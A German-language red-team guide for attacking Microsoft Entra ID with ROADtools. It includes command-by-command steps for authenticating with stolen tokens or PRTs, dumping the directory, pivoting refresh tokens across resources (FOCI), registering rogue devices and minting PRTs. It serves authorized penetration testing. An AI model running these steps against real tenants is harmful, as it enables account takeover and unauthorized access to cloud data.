Was macht Angriff auf Entra ID mit ROADtools?
Nur für autorisierte Nutzung: ROADtools interagiert mit live Microsoft Entra ID (Azure AD) Mandanten und kann Geräte registrieren, Tokens münzen und austauschen sowie Verzeichnisobjekte enumerieren. Verwenden Sie es ausschließlich gegen Mandanten, die Sie selbst besitzen oder für die Sie explizit schriftliche Autorisierung zum Testen haben. Unautorisierter Zugriff auf einen Cloud-Mandanten ist illegal.
Übersicht
ROADtools (von Dirk-jan Mollema) ist das De-facto-Offensiv-Toolkit für Microsoft Entra ID. Es besteht aus zwei Hauptkomponenten:
- ROADrecon — authentifiziert sich gegenüber Entra ID, sammelt das vollständige Verzeichnis in eine lokale SQLite-Datenbank über die Azure AD Graph API und stellt eine Angular-GUI zur Offline-Erkundung von Benutzern, Gruppen, Rollen, Anwendungen, Service-Principals, Conditional-Access-Richtlinien und Geräteobjekten bereit. Ein Plugin-System exportiert nach BloodHound und analysiert CA-Richtlinien.
- roadtx (ROADtools Token Exchange) — erwirbt und tauscht Entra-ausgestellte Tokens über die verschiedenen OAuth-Flows (ROPC, Device Code, Auth-Code, Refresh-Token-Austausch, App/Federated App) aus, führt Geräteregistrierungen durch und handhabt Primary Refresh Token (PRT)-Operationen inklusive PRT-basiertem SSO und Cookie-Minting. Seine FOCI (Family of Client IDs)-Bewusstheit erlaubt es, ein Refresh-Token für einen First-Party-Client für eine andere Ressource einzulösen.
Zusammen decken sie die Discovery-Phase gegen Cloud-Identitäten ab: Mandanten enumerieren (T1087.004 Account Discovery: Cloud Account) und Tokens erlangen/manipulieren, um Microsoft Graph, Azure Resource Manager und andere Ressourcen zu erreichen. ROADrecons Offline-Datenbank macht die Recon heimlich und schnell; roadtx macht Token-Diebstahl, PRT-Missbrauch und ressourcenübergreifendes Pivotieren praktikabel.
Wann verwenden
- Während eines autorisierten Azure / Entra ID Red-Team- oder Cloud-Penetrationstests.
- Wenn Sie einen Footprint (Credential, Refresh-Token oder PRT) haben und den Mandanten enumerieren müssen.
- Wenn Sie ein Token von einer Ressource (z. B. Azure CLI) zu einer anderen (z. B. Microsoft Graph) pivotieren müssen.
- Wenn Sie validieren möchten, ob Conditional-Access-, Geräte-Compliance- und Token-Kontrollen einen Angreifer tatsächlich einschränken.
- Beim Kartieren von Entra-Angriffspfaden (Export nach BloodHound für Graph-Analyse).
Voraussetzungen
- Schriftliche Autorisierung und definierter Umfang für den Zielmandanten.
- Ein Start-Credential: Benutzername/Passwort (keine MFA-Flows), eine Device-Code-Sitzung, ein Refresh-/Access-Token oder das PRT eines registrierten Geräts.
- Python 3.7+ (roadtx Selenium-Flows benötigen einen passenden geckodriver/Firefox).
# Kerninstallation (roadlib ist eine gemeinsame Abhängigkeit, wird automatisch gezogen)
python -m pip install roadrecon
python -m pip install roadtx
# Überprüfung
roadrecon --help
roadtx --help
Ziele
- Sich über den geeigneten Flow (Device Code bevorzugt für MFA) bei Entra ID authentifizieren.
- Das vollständige Verzeichnis mit ROADrecon sammeln und in der GUI analysieren.
- Das Verzeichnis nach BloodHound exportieren und CA-Richtlinien-Analyse-Plugins ausführen.
- Tokens mit roadtx erwerben und Refresh-Tokens über Ressourcen/Clients austauschen.
- PRT-basiertes SSO demonstrieren und den resultierenden Zugriff dokumentieren.
MITRE ATT&CK Mapping
| ID | Taktik | Offizieller Technikname | Rolle in diesem Skill |
|---|---|---|---|
| T1087.004 | Discovery | Account Discovery: Cloud Account | ROADrecon enumeriert Mandanten-Benutzer/Konten |
| T1069.003 | Discovery | Permission Groups Discovery: Cloud Groups | ROADrecon enumeriert Entra-Gruppen und -Rollen |
| T1538 | Discovery | Cloud Service Dashboard | GUI-Erkundung der Mandantenkonfiguration |
| T1550.001 | Defense Evasion / Lateral Movement | Use Alternate Authentication Material: Application Access Token | roadtx Refresh-Token-Austausch über Ressourcen |
| T1528 | Credential Access | Steal Application Access Token | roadtx PRT-/Token-Erwerb |
Arbeitsablauf
Schritt 1: Mit ROADrecon authentifizieren
Wählen Sie den Flow, der zu Ihrem Footprint passt. Device-Code unterstützt MFA; ROPC (-u/-p) nicht.
# Benutzername/Passwort (Legacy, kein MFA)
roadrecon auth -u [email protected] -p 'Passwort123!'
# Device-Code-Flow (unterstützt MFA)
roadrecon auth --device-code
# Von einem gestohlenen Access- oder Refresh-Token
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>
# Von einem PRT (mit Session-Key) für SSO-gradigen Zugriff
roadrecon auth --prt <prt> --prt-sessionkey <session_key>
Die Authentifizierung schreibt .roadtools_auth in das Arbeitsverzeichnis.
Schritt 2: Das Verzeichnis sammeln
# Vollständiges Sammeln in roadrecon.db (Standard)
roadrecon gather
# MFA/Auth-Method-Details einschließen (erfordert privilegierte Rolle)
roadrecon gather --mfa
Schritt 3: In der GUI erkunden
roadrecon gui
# Öffnen Sie http://127.0.0.1:5000 — Benutzer, Gruppen, Rollen, Anwendungen,
# Service-Principals, Geräte und Conditional-Access-Richtlinien, alle offline.
Schritt 4: Analyse-Plugins ausführen
# Conditional-Access-Richtlinien analysieren
roadrecon plugin policies -h
roadrecon plugin policies
# Die gesammelten Daten in ein BloodHound-importierbares Format exportieren
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound
Schritt 5: Tokens mit roadtx erwerben
# ROPC: Einen Microsoft Graph-Token für den Azure CLI-Client holen
roadtx gettokens -u [email protected] -p 'Passwort123!' -c azcli -r msgraph
# Device-Code-artige interaktive Auth für den Teams-Client zu Graph
roadtx interactiveauth -c msteams -r msgraph
# Von einem vorhandenen Refresh-Token
roadtx gettokens --refresh-token <refresh_token> -r msgraph
Tokens werden in .roadtools_auth geschrieben (mit --tokens-stdout stattdessen ausgeben).
Schritt 6: Refresh-Tokens über Ressourcen austauschen (FOCI-Pivot)
Ein FOCI-Refresh-Token, das für einen First-Party-Client erlangt wurde, kann für eine andere Ressource ohne erneute Authentifizierung eingelöst werden.
# Das gespeicherte Refresh-Token in einen Azure Resource Manager-Token konvertieren
roadtx refreshtokento -r azrm
# In einen skalierten Graph-Token über den Teams-Client konvertieren
roadtx refreshtokento -c msteams -r msgraph
# Herausfinden, welche First-Party-Clients einen bestimmten Scope halten
roadtx getscope -s https://graph.microsoft.com/mail.read --foci
Schritt 7: Geräteregistrierung und PRT-basiertes SSO
# Ein (virtuelles) Gerät im Mandanten registrieren
roadtx device -n redteam-device
# Ein PRT mit dem Geräte-Zertifikat/-Key und Benutzer-Credentials anfordern
roadtx prt -u [email protected] -p 'Passwort123!' --key-pem redteam-device.key --cert-pem redteam-device.pem
# Das PRT verwenden, um einen Client bei einer Ressource zu authentifizieren (SSO-Grad)
roadtx prtauth -c msteams -r msgraph
# Ein PRT mit einem interaktiven MFA-Anspruch anreichern
roadtx prtenrich -u [email protected]
Schritt 8: Tokens inspizieren
# Claims des gespeicherten / eines bereitgestellten Tokens dekodieren und ausgeben
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .
Werkzeuge und Ressourcen
| Werkzeug | Zweck | Primäre Quelle |
|---|---|---|
| ROADtools (Repo) | Toolkit-Übersicht + Wiki | https://github.com/dirkjanm/ROADtools |
| ROADrecon Wiki | Auth/Gather/GUI/Plugin-Nutzung | https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon |
| roadtx Wiki | Token-Austausch + PRT/Geräte-Flows | https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx) |
| BloodHound CE | Graph-Analyse exportierter Entra-Daten | https://github.com/SpecterOps/BloodHound |
| Microsoft Identity Platform | Token/Flow-Referenz | https://learn.microsoft.com/entra/identity-platform/ |
Validierungskriterien
- Über einen autorisierten Flow beim Zielmandanten authentifiziert;
.roadtools_autherstellt. - Verzeichnis in
roadrecon.dbgesammelt (mit--mfa, wo die Rolle es erlaubt). - GUI erkundet; Benutzer, Gruppen, Rollen, Apps, CA-Richtlinien überprüft.
- CA-Richtlinien- und BloodHound-Plugins ausgeführt; Daten exportiert.
- Tokens mit roadtx für mindestens eine Ressource erworben.
- Refresh-Token-Austausch zu einer zweiten Ressource demonstriert (FOCI-Pivot).
- Gerät registriert und PRT-basiertes SSO demonstriert (wo im Umfang).
- Token-Claims mit
roadtx describeinspiziert. - Erkenntnisse und Zugriff für den Engagement-Bericht dokumentiert.